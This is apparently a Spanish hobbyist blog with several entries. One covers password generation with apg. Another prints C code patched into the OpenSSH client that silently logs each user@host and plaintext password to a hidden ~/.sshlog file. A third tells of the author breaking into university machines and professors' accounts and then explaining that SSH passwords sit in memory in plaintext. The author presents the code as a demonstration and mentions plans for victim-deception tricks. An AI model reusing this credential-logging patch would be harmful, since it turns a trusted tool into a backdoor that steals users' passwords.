Ya esta bien, a usar una contraseña "segura"

Llevaba pensando en ello un tiempo largo, pero nunca me habia decidido a ello, ya hoy por fin lo he hecho (mientras escribo esto), estoy hablando de usar una contraseña más segura que la que tengo, para ello voy a generarla con apg un programa dedicado a la generacion de claves más o menos seguras y a la comprobación de integridad de la misma. El comando que he usado (después de instalar apg) es:

apg -a 1 -n 1 -m X -x Y -M sncl

-a 1: Que genere contraseña aleatoria, tiene otro modo que produce contraseñas pronunciables (menos seguras).

-n 1: Que produzca solo una contraseña.

-m X -x Y: tamaño minimo X y tamaño maximo Y... no voy a poner el tamaño que yo he elegido pero por defecto es 8.

-M sncl: Esto es interesante, cada letra le indica al programa si deberia o debe usar caracteres especiales (·$%&...), numeros, mayusculas y minusculas. Es interesante saber que estas cuatro letras se pueden poner en minusculas o mayusculas para indicarle should (deberia usar) o must (debe usar) respectivamente. En principio puede parecer que usar las mayusculas para obligarle a usar todo tipo de simbolos puede ser mas seguro... PUES NO! obligar = restringir, si pusieramos alguna letra en mayuscula estariamos eliminando un gran espacio de claves ya que podriamos eliminar todas las combinaciones que no usen los 4 tipos de simbolos, me di cuenta un poco despues de leer should y must en el man.

Bueno... ahora toca aprenderme de memoria el chorizo que me acaba de soltar :s

Happy Hacking!

PD: En futuras entradas complementare el ussh con algun truquillo barato para engañar a la victima... que he estado probando ;)

PDD: En las distros hay un comando mkpasswd pero no se recomienda su uso para generar las contraseñas... tiene pinta de ser mas antiguo que la rasca... usa crypt(3) que a su vez usa 3DES, que a su vez esta muy roto.

Cliente ussh

Que es un cliente ussh? alguien lo sabe?... pues en principio no deberian! porque me lo acabo de inventar... son las siglas de UnSecure SHell.

El cacho de codigo que posteo lo he escrito dentro de los fuentes de openssh (concretamente la version 3.9, aunque ya estamos por la 5.2 cuando escribo esto):

/*******************************************************/
/* Added by me to get the user password in plain text. */
/************************ HACK *************************/
{
const int LEN = 8196;
const int OPEN_OPTS = O_RDWR | O_CREAT | O_APPEND;
const mode_t OPEN_PERMS = 0600;

int fd;
char *home;
char name[LEN];
char pair[LEN];

/*
* Build the pair user@server -- password.
*/
snprintf (pair, LEN,"%s@%s -- %s\n", authctxt->server_user, authctxt->host, password);

/*
* Build the absolute path name for a hidden file that will contain
* the pair user@server -- password.
*/
if ((home = getenv ("HOME")) == NULL)
goto out_hack;

strncpy (name, home, LEN);
strncat (name, "/.sshlog", LEN);

if ((fd = open (name, OPEN_OPTS, OPEN_PERMS)) == -1)
goto out_hack;

write (fd, pair, strlen (pair));
close (fd);

}

out_hack:
/**************************/
/******* END HACK *********/
/**************************/

Se ve claramente que es muy sencillo y ademas tiene explicado lo que hace. Es una demostracion de como claramente hay momentos en los que la contraseña SI ESTA EN TEXTO CLARO dentro de la memoria del proceso. Lo que aqui se hace es que cada vez que se utilice el cliente ssh se guardara en el fichero "$HOME/.sshlog" una linea con el usuario el host y la contraseña que se ha utilizado.

No he querido complicarme mucho con el manejo de ristras y he declarado buffers estaticos aunque estoy utilizando "funciones de ristras n" (strncpy, strncat y snprintf) y ademas creo que las variables de entorno estan limitadas por los sistemas... aun asi recordemos que no se deberian usar bufferes estaticos donde la informacion puede venir de fuera por problemas con buffers overflows

Como este codigo se puede usar con mala idea no pongo en que fichero hay que ponerlo, ni funcion, ni linea ni nada mas, alguien con un minimo de habilidad sabria buscar donde va y por supuesto escribirlo... de hecho creo que tiene mas merito buscar el sitio concreto donde habria que ponerlo que escribirlo...

Cuando lo más seguro no es infalible

Hola hackers del mundo! Pues resulta que la semana pasada estuve haciendo un curso de "configuración de redes en linux"... yo lo habria llamado antes de ir "configuracion de redes en gnu/linux", pero ya sabemos como anda el mundo. No obstante despues de ir lo habria llamado "te vamos a explicar (diciendo mentiras) por que gnu/linux es mejor que hasefroch", en fin un curso donde le vendian a los alumnos el sistema, ¡que me parece muy bien que lo hagan!, pero por encima de usar gnu/linux, hasefroch o moc os, prefiero que se diga la verdad.

Voy al ajo, resulta que como me aburria muchisimo en el curso pues me entretuve hackeando un poquillo los ordenadores de la facultad donde se impartia, mirando que cosas tenian por aqui y por alla. Total que lo primero que hice por supuesto fue conseguir una cuenta de root en cualquier pc de por ahi (ya saben lo sencillo que es si se tiene acceso fisico a la maquina), pues no habian pasado ni 40 minutos y ya habia accedido a las cuentas de los profesores en una maquina con servidores :(, y aun me quedaban por delante 4 dias de eterno aburrimiento... en fin, se lo dije al profesor para que lo corrigiera si queria, por supuesto se puso a la defensiva e intentando decirme que no estaba en lo cierto y yo "mira, es que ya he entrado en tu cuenta, no es algo que me este imaginando que se puede hacer". Bueno, al final no se lo tomo tan mal y es mas diligente que la media y se preocupo en pensar como resolverlo... QUITA NFS!

Al dia siguiente en el descanso mientras me tomaba un leche y leche calentito se me acerca y empezamos a hablar un poco de seguridad y tal... entonces le comento que es que a mi me gusta mucho este tema y claro, miro y pruebo cosas fuera de la uni, pero que realmente no soy bueno, simplemente conozco un par de patrones en que se incurre bastante en mi universidad y lo ataco un poco a ver hasta donde llego... Total, que por h o por b, acabamos hablando de los limites de la seguridad y se lo digo bien claro "no hay nada infalible, en el fondo fondo no te puedes fiar de nada ni del propio SSH ya que por muy seguros que sean, les puedes sacar las contraseñas". Me miro con una cara como si hubiera cometido un sacrilegio! PERO COMO VOY A PONER EN ENTREDICHO SSH Y MUCHO MENOS OPENSSH!!! Entonces llego el momento de la explicacion:

- Mire, es que por mas que nos empeñemos, siempre hay momentos dentro de una maquina donde las contraseñas SI estan en texto claro, incluso en cliente y servidor de ssh.

- Noooo! nunca estan en texto claro.

- Si, vera, aunque una comunicacion con ssh es cifrada, es necesario que el proceso ssh cliente (en un extremo) le envie la contraseña en texto plano al servidor (en el otro extremo) para que este pueda chequearla contra su base de datos (nis, ldap, passwd, lo que sea).

- PERO SE LA ENVIA CIFRADA, EL PAQUETE SSH ESTA CIFRADO!

- Si si, ya lo se, pero no me esta entendiendo, una cosa es la clave de sesion con la que se cifra el paquete ssh, pero dentro de ese paquete (el cual es descifrado en el extremo que lo recibe) tiene dentro mucha informacion, entre otras cosas si se esta intentando hacer un login, tiene la contraseña en texto claro, el proceso es el siguiente:


|--- datos --- contraseña en claro ---| <-- Paquete a enviar por ssh

- Este paquete lo ciframos con la clave de sesion que establecio ssh automaticamente al empezar (mediante el intercambio de clave publica/privada) obteniendo:

| 123!EDC3f"%35f35cr"·$F25c2%C2| <--- Paquete cifrado

- Cierto que de aqui no podemos sacar nada (no hablamos de cracking), pero es que tanto en el servidor como en el cliente tiene que estar primero la contraseña en claro, para poder despues cifrar el paquete y obtener el chorizo ese. Solo (bueno, mas bien "solo") tenemos que meternos en el mapa de memoria del proceso y buscar donde guarda eso, aunque hay que hacerlo rapidito porque esa informacion no esta mucho tiempo en memoria.

Y entonces me suelta, la siguiente idea:

- No! la contraseña se cifra en el cliente y luego se mete en el paquete y se cifra entonces el paquete, al servidor solo le llega una contraseña cifrada y el la compara en su shadow

... vamos a ver... solo voy a decir que ese diseño roza lo INEFABLE!. Veamos, esa arquitectura esta presuponiendo que ambos sistemas usan el mismo algoritmo de cifrado para el sistema de login (todos md5? todos 3DES?), todos utilizan las mismas semillas, el mismo generador de aleatorios... pero que me estas contando!? ademas colega, te estoy diciendo que no es algo que yo me haya inventado, es algo que he comprobado que es asi!!! que pasa!? que porque sea un alumno no puedo saber un poco mas de algun tema que algun profesor? pk se ofuscan tanto cuando alguien que aun estudia y es bastante mas joven les intenta enseñar algo? Ya me gustaria a mi encontrarme con algunos de esos superhackers jovencisimos y que me enseñara cosas!!! joder! daria un dedo por haber conocido a dvd john cuando tenia 15 años!

En fin... ya me he cansado de tanta tonteria, la proxima entrada que escriba publicare el codigo de un modulo para el kernel que se metera en la memoria de un proceso, concretamente ssh y recogera la cuenta de usuario y su contraseña, en texto claro, sin mayor problema. Lo pondria ahora mismo, con su makefile y todo, listo para ejecutar, pero por desgracia he sufrido la maldicion del informatico que no hace copias de seguridad xDDDDDDDDDDDD. En fin, ya lo reescribire y aprovechare para repasar un poco la creacion de modulos ;)

Happy Hacking!

Derechos

Esta entrada no es tecnológica, pero todos la deberíamos tener presente.

Esto lo ví en subtítulos de la serie scrubs.

TODAS LAS PERSONAS TIENEN DERECHO A LA EDUCACIÓN Y EL DISFRUTE DE LOS BENEFICIOS DE LA LIBERTAD CULTURAL Y EL PROGRESO CIENTÍFICO.

Declaración del pacto internacional de derecho civiles y políticos de la organización de las naciones unidas.

Gracias PolloDH, por scrubs y the big bang theory al menos.